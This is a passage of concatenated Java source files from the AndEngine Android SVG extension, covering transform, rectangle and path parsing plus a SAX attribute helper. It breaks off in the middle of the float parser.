return SVGTransformParser.parseTransformSkewY(pString);
} else if (pString.startsWith(ATTRIBUTE_TRANSFORM_VALUE_ROTATE)) {
return SVGTransformParser.parseTransformRotate(pString);
} else {
throw new SVGParseException("Unexpected transform type: '" + pString + "'.");
}
} catch (final SVGParseException e) {
throw new SVGParseException("Could not parse transform: '" + pString + "'.", e);
}
}
public static Matrix parseTransformRotate(final String pString) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pString.substring(ATTRIBUTE_TRANSFORM_VALUE_ROTATE.length() + 1, pString.indexOf(')')));
SVGTransformParser.assertNumberParserResultNumberCountMinimum(svgNumberParserFloatResult, 1);
final float angle = svgNumberParserFloatResult.getNumber(0);
float cx = 0;
float cy = 0;
if (svgNumberParserFloatResult.getNumberCount() > 2) {
cx = svgNumberParserFloatResult.getNumber(1);
cy = svgNumberParserFloatResult.getNumber(2);
}
final Matrix matrix = new Matrix();
matrix.postTranslate(cx, cy);
matrix.postRotate(angle);
matrix.postTranslate(-cx, -cy);
return matrix;
}
private static Matrix parseTransformSkewY(final String pString) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pString.substring(ATTRIBUTE_TRANSFORM_VALUE_SKEW_Y.length() + 1, pString.indexOf(')')));
SVGTransformParser.assertNumberParserResultNumberCountMinimum(svgNumberParserFloatResult, 1);
final float angle = svgNumberParserFloatResult.getNumber(0);
final Matrix matrix = new Matrix();
matrix.postSkew(0, (float) Math.tan(angle));
return matrix;
}
private static Matrix parseTransformSkewX(final String pString) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pString.substring(ATTRIBUTE_TRANSFORM_VALUE_SKEW_X.length() + 1, pString.indexOf(')')));
SVGTransformParser.assertNumberParserResultNumberCountMinimum(svgNumberParserFloatResult, 1);
final float angle = svgNumberParserFloatResult.getNumber(0);
final Matrix matrix = new Matrix();
matrix.postSkew((float) Math.tan(angle), 0);
return matrix;
}
private static Matrix parseTransformScale(final String pString) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pString.substring(ATTRIBUTE_TRANSFORM_VALUE_SCALE.length() + 1, pString.indexOf(')')));
SVGTransformParser.assertNumberParserResultNumberCountMinimum(svgNumberParserFloatResult, 1);
final float sx = svgNumberParserFloatResult.getNumber(0);
float sy = 0;
if (svgNumberParserFloatResult.getNumberCount() > 1) {
sy = svgNumberParserFloatResult.getNumber(1);
}
final Matrix matrix = new Matrix();
matrix.postScale(sx, sy);
return matrix;
}
private static Matrix parseTransformTranslate(final String pString) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pString.substring(ATTRIBUTE_TRANSFORM_VALUE_TRANSLATE.length() + 1, pString.indexOf(')')));
SVGTransformParser.assertNumberParserResultNumberCountMinimum(svgNumberParserFloatResult, 1);
final float tx = svgNumberParserFloatResult.getNumber(0);
float ty = 0;
if (svgNumberParserFloatResult.getNumberCount() > 1) {
ty = svgNumberParserFloatResult.getNumber(1);
}
final Matrix matrix = new Matrix();
matrix.postTranslate(tx, ty);
return matrix;
}
private static Matrix parseTransformMatrix(final String pString) {
final SVGNumberParserFloatResult svgNumberParserFloatResult = SVGNumberParser.parseFloats(pString.substring(ATTRIBUTE_TRANSFORM_VALUE_MATRIX.length() + 1, pString.indexOf(')')));
SVGTransformParser.assertNumberParserResultNumberCount(svgNumberParserFloatResult, 6);
final Matrix matrix = new Matrix();
matrix.setValues(new float[]{
// Row 1
svgNumberParserFloatResult.getNumber(0),
svgNumberParserFloatResult.getNumber(2),
svgNumberParserFloatResult.getNumber(4),
// Row 2
svgNumberParserFloatResult.getNumber(1),
svgNumberParserFloatResult.getNumber(3),
svgNumberParserFloatResult.getNumber(5),
// Row 3
0,
0,
1,
});
return matrix;
}
private static void assertNumberParserResultNumberCountMinimum(final SVGNumberParserFloatResult pSVGNumberParserFloatResult, final int pNumberParserResultNumberCountMinimum) {
final int svgNumberParserFloatResultNumberCount = pSVGNumberParserFloatResult.getNumberCount();
if(svgNumberParserFloatResultNumberCount < pNumberParserResultNumberCountMinimum) {
throw new SVGParseException("Not enough data. Minimum Expected: '" + pNumberParserResultNumberCountMinimum + "'. Actual: '" + svgNumberParserFloatResultNumberCount + "'.");
}
}
private static void assertNumberParserResultNumberCount(final SVGNumberParserFloatResult pSVGNumberParserFloatResult, final int pNumberParserResultNumberCount) {
final int svgNumberParserFloatResultNumberCount = pSVGNumberParserFloatResult.getNumberCount();
if(svgNumberParserFloatResultNumberCount != pNumberParserResultNumberCount) {
throw new SVGParseException("Unexpected number count. Expected: '" + pNumberParserResultNumberCount + "'. Actual: '" + svgNumberParserFloatResultNumberCount + "'.");
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import org.xml.sax.Attributes;
/**
* @author Nicolas Gramlich
* @since 14:22:28 - 22.05.2011
*/
public class SAXHelper {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static String getStringAttribute(final Attributes pAttributes, final String pAttributeName) {
final int attributeCount = pAttributes.getLength();
for (int i = 0; i < attributeCount; i++) {
if (pAttributes.getLocalName(i).equals(pAttributeName)) {
return pAttributes.getValue(i);
}
}
return null;
}
public static String getStringAttribute(final Attributes pAttributes, final String pAttributeName, final String pDefaultValue) {
final String s = SAXHelper.getStringAttribute(pAttributes, pAttributeName);
if(s == null) {
return pDefaultValue;
} else {
return s;
}
}
public static Float getFloatAttribute(final Attributes pAttributes, final String pAttributeName) {
return SVGParserUtils.extractFloatAttribute(SAXHelper.getStringAttribute(pAttributes, pAttributeName));
}
public static float getFloatAttribute(final Attributes pAttributes, final String pAttributeName, final float pDefaultValue) {
final Float f = SAXHelper.getFloatAttribute(pAttributes, pAttributeName);
if(f == null) {
return pDefaultValue;
} else {
return f;
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import android.graphics.Canvas;
import android.graphics.RectF;
/**
* @author Nicolas Gramlich
* @since 19:27:42 - 25.05.2011
*/
public class SVGRectParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public static void parse(final SVGProperties pSVGProperties, final Canvas pCanvas, final SVGPaint pSVGPaint, final RectF pRect) {
final float x = pSVGProperties.getFloatAttribute(ATTRIBUTE_X, 0f);
final float y = pSVGProperties.getFloatAttribute(ATTRIBUTE_Y, 0f);
final float width = pSVGProperties.getFloatAttribute(ATTRIBUTE_WIDTH, 0f);
final float height = pSVGProperties.getFloatAttribute(ATTRIBUTE_HEIGHT, 0f);
pRect.set(x, y, x + width, y + height);
final Float rX = pSVGProperties.getFloatAttribute(ATTRIBUTE_RADIUS_X);
final Float rY = pSVGProperties.getFloatAttribute(ATTRIBUTE_RADIUS_Y);
final boolean rXSpecified = rX != null && rX >= 0;
final boolean rYSpecified = rY != null && rY >= 0;
final boolean rounded = rXSpecified || rYSpecified;
final float rx;
final float ry;
if(rXSpecified && rYSpecified) {
rx = Math.min(rX, width * 0.5f);
ry = Math.min(rY, height * 0.5f);
} else if(rXSpecified) {
ry = rx = Math.min(rX, width * 0.5f);
} else if(rYSpecified) {
rx = ry = Math.min(rY, height * 0.5f);
} else {
rx = 0;
ry = 0;
}
final boolean fill = pSVGPaint.setFill(pSVGProperties);
if (fill) {
if(rounded) {
pCanvas.drawRoundRect(pRect, rx, ry, pSVGPaint.getPaint());
} else {
pCanvas.drawRect(pRect, pSVGPaint.getPaint());
}
}
final boolean stroke = pSVGPaint.setStroke(pSVGProperties);
if (stroke) {
if(rounded) {
pCanvas.drawRoundRect(pRect, rx, ry, pSVGPaint.getPaint());
} else {
pCanvas.drawRect(pRect, pSVGPaint.getPaint());
}
}
if(fill || stroke) {
pSVGPaint.ensureComputedBoundsInclude(x, y, width, height);
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.extension.svg.util;
import java.util.LinkedList;
import java.util.Queue;
import org.anddev.andengine.extension.svg.adt.SVGPaint;
import org.anddev.andengine.extension.svg.adt.SVGProperties;
import org.anddev.andengine.extension.svg.util.constants.ISVGConstants;
import org.anddev.andengine.util.MathUtils;
import android.graphics.Canvas;
import android.graphics.Path;
import android.graphics.Path.FillType;
import android.graphics.RectF;
import android.util.FloatMath;
/**
* Parses a single SVG path and returns it as a <code>android.graphics.Path</code> object.
* An example path is <code>M250,150L150,350L350,350Z</code>, which draws a triangle.
*
* @see <a href="http://www.w3.org/TR/SVG/paths.html">Specification</a>.
*
* @author Nicolas Gramlich
* @since 17:16:39 - 21.05.2011
*/
public class SVGPathParser implements ISVGConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private String mString;
private int mLength;
private int mPosition;
private char mCurrentChar;
private final PathParserHelper mPathParserHelper = new PathParserHelper();
private Path mPath;
private Character mCommand = null;
private int mCommandStart = 0;
private final Queue<Float> mCommandParameters = new LinkedList<Float>();
private float mSubPathStartX;
private float mSubPathStartY;
private float mLastX;
private float mLastY;
private float mLastCubicBezierX2;
private float mLastCubicBezierY2;
private float mLastQuadraticBezierX2;
private float mLastQuadraticBezierY2;
private final RectF mArcRect = new RectF();
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void parse(final SVGProperties pSVGProperties, final Canvas pCanvas, final SVGPaint pSVGPaint) {
final Path path = this.parse(pSVGProperties);
final boolean fill = pSVGPaint.setFill(pSVGProperties);
if (fill) {
pCanvas.drawPath(path, pSVGPaint.getPaint());
}
final boolean stroke = pSVGPaint.setStroke(pSVGProperties);
if (stroke) {
pCanvas.drawPath(path, pSVGPaint.getPaint());
}
if(fill || stroke) {
pSVGPaint.ensureComputedBoundsInclude(path);
}
}
/**
* Uppercase rules are absolute positions, lowercase are relative.
* Types of path rules:
* <p/>
* <ol>
* <li>M/m - (x y)+ - Move to (without drawing)
* <li>Z/z - (no params) - Close path (back to starting point)
* <li>L/l - (x y)+ - Line to
* <li>H/h - x+ - Horizontal ine to
* <li>V/v - y+ - Vertical line to
* <li>C/c - (x1 y1 x2 y2 x y)+ - Cubic bezier to
* <li>S/s - (x2 y2 x y)+ - Smooth cubic bezier to (shorthand that assumes the x2, y2 from previous C/S is the x1, y1 of this bezier)
* <li>Q/q - (x1 y1 x y)+ - Quadratic bezier to
* <li>T/t - (x y)+ - Smooth quadratic bezier to (assumes previous control point is "reflection" of last one w.r.t. to current point)
* <li>A/a - ... - Arc to</li>
* </ol>
* <p/>
* Numbers are separate by whitespace, comma or nothing at all (!) if they are self-delimiting, (ie. begin with a - sign)
*/
private Path parse(final SVGProperties pSVGProperties) {
final String pathString = pSVGProperties.getStringProperty(ATTRIBUTE_PATHDATA);
if(pathString == null) {
return null;
}
this.mString = pathString.trim();
this.mLastX = 0;
this.mLastY = 0;
this.mLastCubicBezierX2 = 0;
this.mLastCubicBezierY2 = 0;
this.mCommand = null;
this.mCommandParameters.clear();
this.mPath = new Path();
if(this.mString.length() == 0) {
return this.mPath;
}
final String fillrule = pSVGProperties.getStringProperty(ATTRIBUTE_FILLRULE);
if(fillrule != null) {
if(ATTRIBUTE_FILLRULE_VALUE_EVENODD.equals(fillrule)) {
this.mPath.setFillType(FillType.EVEN_ODD);
} else {
this.mPath.setFillType(FillType.WINDING);
}
/*
* TODO Check against:
* http://www.w3.org/TR/SVG/images/painting/fillrule-nonzero.svg / http://www.w3.org/TR/SVG/images/painting/fillrule-nonzero.png
* http://www.w3.org/TR/SVG/images/painting/fillrule-evenodd.svg / http://www.w3.org/TR/SVG/images/painting/fillrule-evenodd.png
*/
}
this.mCurrentChar = this.mString.charAt(0);
this.mPosition = 0;
this.mLength = this.mString.length();
while (this.mPosition < this.mLength) {
try {
this.mPathParserHelper.skipWhitespace();
if (Character.isLetter(this.mCurrentChar) && (this.mCurrentChar != 'e') && (this.mCurrentChar != 'E')) {
this.processCommand();
this.mCommand = this.mCurrentChar;
this.mCommandStart = this.mPosition;
this.mPathParserHelper.advance();
} else {
final float parameter = this.mPathParserHelper.nextFloat();
this.mCommandParameters.add(parameter);
}
} catch(final Throwable t) {
throw new IllegalArgumentException("Error parsing: '" + this.mString.substring(this.mCommandStart, this.mPosition) + "'. Command: '" + this.mCommand + "'. Parameters: '" + this.mCommandParameters.size() + "'.", t);
}
}
this.processCommand();
return this.mPath;
}
private void processCommand() {
if (this.mCommand != null) {
// Process command
this.generatePathElement();
this.mCommandParameters.clear();
}
}
private void generatePathElement() {
boolean wasCubicBezierCurve = false;
boolean wasQuadraticBezierCurve = false;
switch (this.mCommand) { // TODO Extract to constants
case 'm':
this.generateMove(false);
break;
case 'M':
this.generateMove(true);
break;
case 'l':
this.generateLine(false);
break;
case 'L':
this.generateLine(true);
break;
case 'h':
this.generateHorizontalLine(false);
break;
case 'H':
this.generateHorizontalLine(true);
break;
case 'v':
this.generateVerticalLine(false);
break;
case 'V':
this.generateVerticalLine(true);
break;
case 'c':
this.generateCubicBezierCurve(false);
wasCubicBezierCurve = true;
break;
case 'C':
this.generateCubicBezierCurve(true);
wasCubicBezierCurve = true;
break;
case 's':
this.generateSmoothCubicBezierCurve(false);
wasCubicBezierCurve = true;
break;
case 'S':
this.generateSmoothCubicBezierCurve(true);
wasCubicBezierCurve = true;
break;
case 'q':
this.generateQuadraticBezierCurve(false);
wasQuadraticBezierCurve = true;
break;
case 'Q':
this.generateQuadraticBezierCurve(true);
wasQuadraticBezierCurve = true;
break;
case 't':
this.generateSmoothQuadraticBezierCurve(false);
wasQuadraticBezierCurve = true;
break;
case 'T':
this.generateSmoothQuadraticBezierCurve(true);
wasQuadraticBezierCurve = true;
break;
case 'a':
this.generateArc(false);
break;
case 'A':
this.generateArc(true);
break;
case 'z':
case 'Z':
this.generateClose();
break;
default:
throw new RuntimeException("Unexpected SVG command: " + this.mCommand);
}
if (!wasCubicBezierCurve) {
this.mLastCubicBezierX2 = this.mLastX;
this.mLastCubicBezierY2 = this.mLastY;
}
if (!wasQuadraticBezierCurve) {
this.mLastQuadraticBezierX2 = this.mLastX;
this.mLastQuadraticBezierY2 = this.mLastY;
}
}
private void assertParameterCountMinimum(final int pParameterCount) {
if (this.mCommandParameters.size() < pParameterCount) {
throw new RuntimeException("Incorrect parameter count: '" + this.mCommandParameters.size() + "'. Expected at least: '" + pParameterCount + "'.");
}
}
private void assertParameterCount(final int pParameterCount) {
if (this.mCommandParameters.size() != pParameterCount) {
throw new RuntimeException("Incorrect parameter count: '" + this.mCommandParameters.size() + "'. Expected: '" + pParameterCount + "'.");
}
}
private void generateMove(final boolean pAbsolute) {
this.assertParameterCountMinimum(2);
final float x = this.mCommandParameters.poll();
final float y = this.mCommandParameters.poll();
/** Moves the line from mLastX,mLastY to x,y. */
if (pAbsolute) {
this.mPath.moveTo(x, y);
this.mLastX = x;
this.mLastY = y;
} else {
this.mPath.rMoveTo(x, y);
this.mLastX += x;
this.mLastY += y;
}
this.mSubPathStartX = this.mLastX;
this.mSubPathStartY = this.mLastY;
if(this.mCommandParameters.size() >= 2) {
this.generateLine(pAbsolute);
}
}
private void generateLine(final boolean pAbsolute) {
this.assertParameterCountMinimum(2);
/** Draws a line from mLastX,mLastY to x,y. */
if(pAbsolute) {
while(this.mCommandParameters.size() >= 2) {
final float x = this.mCommandParameters.poll();
final float y = this.mCommandParameters.poll();
this.mPath.lineTo(x, y);
this.mLastX = x;
this.mLastY = y;
}
} else {
while(this.mCommandParameters.size() >= 2) {
final float x = this.mCommandParameters.poll();
final float y = this.mCommandParameters.poll();
this.mPath.rLineTo(x, y);
this.mLastX += x;
this.mLastY += y;
}
}
}
private void generateHorizontalLine(final boolean pAbsolute) {
this.assertParameterCountMinimum(1);
/** Draws a horizontal line to the point defined by mLastY and x. */
if(pAbsolute) {
while(this.mCommandParameters.size() >= 1) {
final float x = this.mCommandParameters.poll();
this.mPath.lineTo(x, this.mLastY);
this.mLastX = x;
}
} else {
while(this.mCommandParameters.size() >= 1) {
final float x = this.mCommandParameters.poll();
this.mPath.rLineTo(x, 0);
this.mLastX += x;
}
}
}
private void generateVerticalLine(final boolean pAbsolute) {
this.assertParameterCountMinimum(1);
/** Draws a vertical line to the point defined by mLastX and y. */
if(pAbsolute) {
while(this.mCommandParameters.size() >= 1) {
final float y = this.mCommandParameters.poll();
this.mPath.lineTo(this.mLastX, y);
this.mLastY = y;
}
} else {
while(this.mCommandParameters.size() >= 1) {
final float y = this.mCommandParameters.poll();
this.mPath.rLineTo(0, y);
this.mLastY += y;
}
}
}
private void generateCubicBezierCurve(final boolean pAbsolute) {
this.assertParameterCountMinimum(6);
/** Draws a cubic bezier curve from current pen point to x,y.
* x1,y1 and x2,y2 are start and end control points of the curve. */
if(pAbsolute) {
while(this.mCommandParameters.size() >= 6) {
final float x1 = this.mCommandParameters.poll();
final float y1 = this.mCommandParameters.poll();
final float x2 = this.mCommandParameters.poll();
final float y2 = this.mCommandParameters.poll();
final float x = this.mCommandParameters.poll();
final float y = this.mCommandParameters.poll();
this.mPath.cubicTo(x1, y1, x2, y2, x, y);
this.mLastCubicBezierX2 = x2;
this.mLastCubicBezierY2 = y2;
this.mLastX = x;
this.mLastY = y;
}
} else {
while(this.mCommandParameters.size() >= 6) {
final float x1 = this.mCommandParameters.poll() + this.mLastX;
final float y1 = this.mCommandParameters.poll() + this.mLastY;
final float x2 = this.mCommandParameters.poll() + this.mLastX;
final float y2 = this.mCommandParameters.poll() + this.mLastY;
final float x = this.mCommandParameters.poll() + this.mLastX;
final float y = this.mCommandParameters.poll() + this.mLastY;
this.mPath.cubicTo(x1, y1, x2, y2, x, y);
this.mLastCubicBezierX2 = x2;
this.mLastCubicBezierY2 = y2;
this.mLastX = x;
this.mLastY = y;
}
}
}
private void generateSmoothCubicBezierCurve(final boolean pAbsolute) {
this.assertParameterCountMinimum(4);
/** Draws a cubic bezier curve from the last point to x,y.
* x2,y2 is the end control point.
* The start control point is is assumed to be the same as
* the end control point of the previous curve. */
if(pAbsolute) {
while(this.mCommandParameters.size() >= 4) {
final float x1 = 2 * this.mLastX - this.mLastCubicBezierX2;
final float y1 = 2 * this.mLastY - this.mLastCubicBezierY2;
final float x2 = this.mCommandParameters.poll();
final float y2 = this.mCommandParameters.poll();
final float x = this.mCommandParameters.poll();
final float y = this.mCommandParameters.poll();
this.mPath.cubicTo(x1, y1, x2, y2, x, y);
this.mLastCubicBezierX2 = x2;
this.mLastCubicBezierY2 = y2;
this.mLastX = x;
this.mLastY = y;
}
} else {
while(this.mCommandParameters.size() >= 4) {
final float x1 = 2 * this.mLastX - this.mLastCubicBezierX2;
final float y1 = 2 * this.mLastY - this.mLastCubicBezierY2;
final float x2 = this.mCommandParameters.poll() + this.mLastX;
final float y2 = this.mCommandParameters.poll() + this.mLastY;
final float x = this.mCommandParameters.poll() + this.mLastX;
final float y = this.mCommandParameters.poll() + this.mLastY;
this.mPath.cubicTo(x1, y1, x2, y2, x, y);
this.mLastCubicBezierX2 = x2;
this.mLastCubicBezierY2 = y2;
this.mLastX = x;
this.mLastY = y;
}
}
}
private void generateQuadraticBezierCurve(final boolean pAbsolute) {
this.assertParameterCountMinimum(4);
/** Draws a quadratic bezier curve from mLastX,mLastY x,y. x1,y1 is the control point.. */
if(pAbsolute) {
while(this.mCommandParameters.size() >= 4) {
final float x1 = this.mCommandParameters.poll();
final float y1 = this.mCommandParameters.poll();
final float x2 = this.mCommandParameters.poll();
final float y2 = this.mCommandParameters.poll();
this.mPath.quadTo(x1, y1, x2, y2);
this.mLastQuadraticBezierX2 = x2;
this.mLastQuadraticBezierY2 = y2;
this.mLastX = x2;
this.mLastY = y2;
}
} else {
while(this.mCommandParameters.size() >= 4) {
final float x1 = this.mCommandParameters.poll() + this.mLastX;
final float y1 = this.mCommandParameters.poll() + this.mLastY;
final float x2 = this.mCommandParameters.poll() + this.mLastX;
final float y2 = this.mCommandParameters.poll() + this.mLastY;
this.mPath.quadTo(x1, y1, x2, y2);
this.mLastQuadraticBezierX2 = x2;
this.mLastQuadraticBezierY2 = y2;
this.mLastX = x2;
this.mLastY = y2;
}
}
}
private void generateSmoothQuadraticBezierCurve(final boolean pAbsolute) {
this.assertParameterCountMinimum(2);
/** Draws a quadratic bezier curve from mLastX,mLastY to x,y.
* The control point is assumed to be the same as the last control point used. */
if(pAbsolute) {
while(this.mCommandParameters.size() >= 2) {
final float x1 = 2 * this.mLastX - this.mLastQuadraticBezierX2;
final float y1 = 2 * this.mLastY - this.mLastQuadraticBezierY2;
final float x2 = this.mCommandParameters.poll();
final float y2 = this.mCommandParameters.poll();
this.mPath.quadTo(x1, y1, x2, y2);
this.mLastQuadraticBezierX2 = x2;
this.mLastQuadraticBezierY2 = y2;
this.mLastX = x2;
this.mLastY = y2;
}
} else {
while(this.mCommandParameters.size() >= 2) {
final float x1 = 2 * this.mLastX - this.mLastQuadraticBezierX2;
final float y1 = 2 * this.mLastY - this.mLastQuadraticBezierY2;
final float x2 = this.mCommandParameters.poll() + this.mLastX;
final float y2 = this.mCommandParameters.poll() + this.mLastY;
this.mPath.quadTo(x1, y1, x2, y2);
this.mLastQuadraticBezierX2 = x2;
this.mLastQuadraticBezierY2 = y2;
this.mLastX = x2;
this.mLastY = y2;
}
}
}
private void generateArc(final boolean pAbsolute) {
this.assertParameterCountMinimum(7);
if(pAbsolute) {
while(this.mCommandParameters.size() >= 7) {
final float rx = this.mCommandParameters.poll();
final float ry = this.mCommandParameters.poll();
final float theta = this.mCommandParameters.poll();
final boolean largeArcFlag = this.mCommandParameters.poll().intValue() == 1;
final boolean sweepFlag = this.mCommandParameters.poll().intValue() == 1;
final float x = this.mCommandParameters.poll();
final float y = this.mCommandParameters.poll();
this.generateArc(rx, ry, theta, largeArcFlag, sweepFlag, x, y);
this.mLastX = x;
this.mLastY = y;
}
} else {
while(this.mCommandParameters.size() >= 7) {
final float rx = this.mCommandParameters.poll();
final float ry = this.mCommandParameters.poll();
final float theta = this.mCommandParameters.poll();
final boolean largeArcFlag = this.mCommandParameters.poll().intValue() == 1;
final boolean sweepFlag = this.mCommandParameters.poll().intValue() == 1;
final float x = this.mCommandParameters.poll() + this.mLastX;
final float y = this.mCommandParameters.poll() + this.mLastY;
this.generateArc(rx, ry, theta, largeArcFlag, sweepFlag, x, y);
this.mLastX = x;
this.mLastY = y;
}
}
}
/**
* Based on: org.apache.batik.ext.awt.geom.ExtendedGeneralPath.computeArc(...)
* @see <a href="http://www.w3.org/TR/SVG/implnote.html#ArcConversionEndpointToCenter">http://www.w3.org/TR/SVG/implnote.html#ArcConversionEndpointToCenter</a>
*/
private void generateArc(final float rx, final float ry, final float pTheta, final boolean pLargeArcFlag, final boolean pSweepFlag, final float pX, final float pY) {
/* Compute the half distance between the current and the end point. */
final float dx = (this.mLastX - pX) * 0.5f;
final float dy = (this.mLastY - pY) * 0.5f;
/* Convert theta to radians. */
final float thetaRad = MathUtils.degToRad(pTheta % 360f);
final float cosAngle = FloatMath.cos(thetaRad);
final float sinAngle = FloatMath.sin(thetaRad);
/* Step 1 : Compute (x1, y1) */
final float x1 = (cosAngle * dx + sinAngle * dy);
final float y1 = (-sinAngle * dx + cosAngle * dy);
/* Ensure radii are large enough. */
float radiusX = Math.abs(rx);
float radiusY = Math.abs(ry);
float Prx = radiusX * radiusX;
float Pry = radiusY * radiusY;
final float Px1 = x1 * x1;
final float Py1 = y1 * y1;
/* Check that radii are large enough. */
final float radiiCheck = Px1/Prx + Py1/Pry;
if (radiiCheck > 1) {
radiusX = FloatMath.sqrt(radiiCheck) * radiusX;
radiusY = FloatMath.sqrt(radiiCheck) * radiusY;
Prx = radiusX * radiusX;
Pry = radiusY * radiusY;
}
/* Step 2 : Compute (cx_dash, cy_dash) */
float sign = (pLargeArcFlag == pSweepFlag) ? -1 : 1;
float sq = ((Prx*Pry)-(Prx*Py1)-(Pry*Px1)) / ((Prx*Py1)+(Pry*Px1));
sq = (sq < 0) ? 0 : sq;
final float coef = sign * FloatMath.sqrt(sq);
final float cx_dash = coef * ((radiusX * y1) / radiusY);
final float cy_dash = coef * -((radiusY * x1) / radiusX);
//- Step 3 : Compute (cx, cy) from (cx_dash, cy_dash) */
final float cx = ((this.mLastX + pX) * 0.5f) + (cosAngle * cx_dash - sinAngle * cy_dash);
final float cy = ((this.mLastY + pY) * 0.5f) + (sinAngle * cx_dash + cosAngle * cy_dash);
/* Step 4 : Compute the angleStart (angle1) and the sweepAngle (dangle). */
final float ux = (x1 - cx_dash) / radiusX;
final float uy = (y1 - cy_dash) / radiusY;
final float vx = (-x1 - cx_dash) / radiusX;
final float vy = (-y1 - cy_dash) / radiusY;
/* Compute the startAngle. */
float p = ux; // (1 * ux) + (0 * uy)
float n = FloatMath.sqrt((ux * ux) + (uy * uy));
sign = (uy < 0) ? -1f : 1f;
float startAngle = MathUtils.radToDeg(sign * (float)Math.acos(p / n));
/* Compute the sweepAngle. */
n = FloatMath.sqrt((ux * ux + uy * uy) * (vx * vx + vy * vy));
p = ux * vx + uy * vy;
sign = (ux * vy - uy * vx < 0) ? -1f : 1f;
float sweepAngle = MathUtils.radToDeg(sign * (float)Math.acos(p / n));
if(!pSweepFlag && sweepAngle > 0) {
sweepAngle -= 360f;
} else if (pSweepFlag && sweepAngle < 0) {
sweepAngle += 360f;
}
sweepAngle %= 360f;
startAngle %= 360f;
/* Generate bounding rect. */
final float left = cx - radiusX;
final float top = cy - radiusY;
final float right = cx + radiusX;
final float bottom = cy + radiusY;
this.mArcRect.set(left, top, right, bottom);
/* Append the arc to the path. */
this.mPath.arcTo(this.mArcRect, startAngle, sweepAngle);
}
private void generateClose() {
this.assertParameterCount(0);
this.mPath.close();
this.mLastX = this.mSubPathStartX;
this.mLastY = this.mSubPathStartY;
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
/**
* Parses numbers from SVG text. Based on the Batik Number Parser (Apache 2 License).
*
* @author Apache Software Foundation
* @author Larva Labs LLC
* @author Nicolas Gramlich
*/
public class PathParserHelper {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
private char read() {
if (SVGPathParser.this.mPosition < SVGPathParser.this.mLength) {
SVGPathParser.this.mPosition++;
}
if (SVGPathParser.this.mPosition == SVGPathParser.this.mLength) {
return '\0';
} else {
return SVGPathParser.this.mString.charAt(SVGPathParser.this.mPosition);
}
}
public void skipWhitespace() {
while (SVGPathParser.this.mPosition < SVGPathParser.this.mLength) {
if (Character.isWhitespace(SVGPathParser.this.mString.charAt(SVGPathParser.this.mPosition))) {
this.advance();
} else {
break;
}
}
}
public void skipNumberSeparator() {
while (SVGPathParser.this.mPosition < SVGPathParser.this.mLength) {
final char c = SVGPathParser.this.mString.charAt(SVGPathParser.this.mPosition);
switch (c) {
case ' ':
case ',':
case '\n':
case '\t':
this.advance();
break;
default:
return;
}
}
}
public void advance() {
SVGPathParser.this.mCurrentChar = this.read();
}
/**
* Parses the content of the buffer and converts it to a float.
*/
private float parseFloat() {
int mantissa = 0;
int mantissaDigit = 0;
boolean mantPosition = true;
boolean mantissaRead = false;
int exp = 0;
int expDig = 0;
int expAdj = 0;
boolean expPos = true;
switch (SVGPathParser.this.mCurrentChar) {
case '-':
mantPosition = false;
case '+':
SVGPathParser.this.mCurrentChar = this.read();
}
m1: switch (SVGPathParser.this.mCurrentChar) {
default:
return Float.NaN;
case '.':
break;
case '0':
mantissaRead = true;
l: for (;;) {
SVGPathParser.this.mCurrentChar = this.read();
switch (SVGPathParser.this.mCurrentChar) {
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
break l;
case '.': case 'e': case 'E':
break m1;
default:
return 0.0f;
case '0':
}
}
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
mantissaRead = true;
l: for (;;) {
if (mantissaDigit < 9) {
mantissaDigit++;
mantissa = mantissa * 10 + (SVGPathParser.this.mCurrentChar - '0');
} else {
expAdj++;
}
SVGPathParser.this.mCurrentChar = this.read();
switch (SVGPathParser.this.mCurrentChar) {
default:
break l;
case '0': case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
}
}
}
if (SVGPathParser.this.mCurrentChar == '.') {
SVGPathParser.this.mCurrentChar = this.read();
m2: switch (SVGPathParser.this.mCurrentChar) {
default:
case 'e': case 'E':
if (!mantissaRead) {
throw new IllegalArgumentException("Unexpected char '" + SVGPathParser.this.mCurrentChar + "'.");
}
break;
case '0':
if (mantissaDigit == 0) {
l: for (;;) {
SVGPathParser.this.mCurrentChar = this.read();
expAdj--;
switch (SVGPathParser.this.mCurrentChar) {
case '1': case '2': case '3': case '4':
case '5': case '6': case '7': case '8': case '9':
break l;
default:
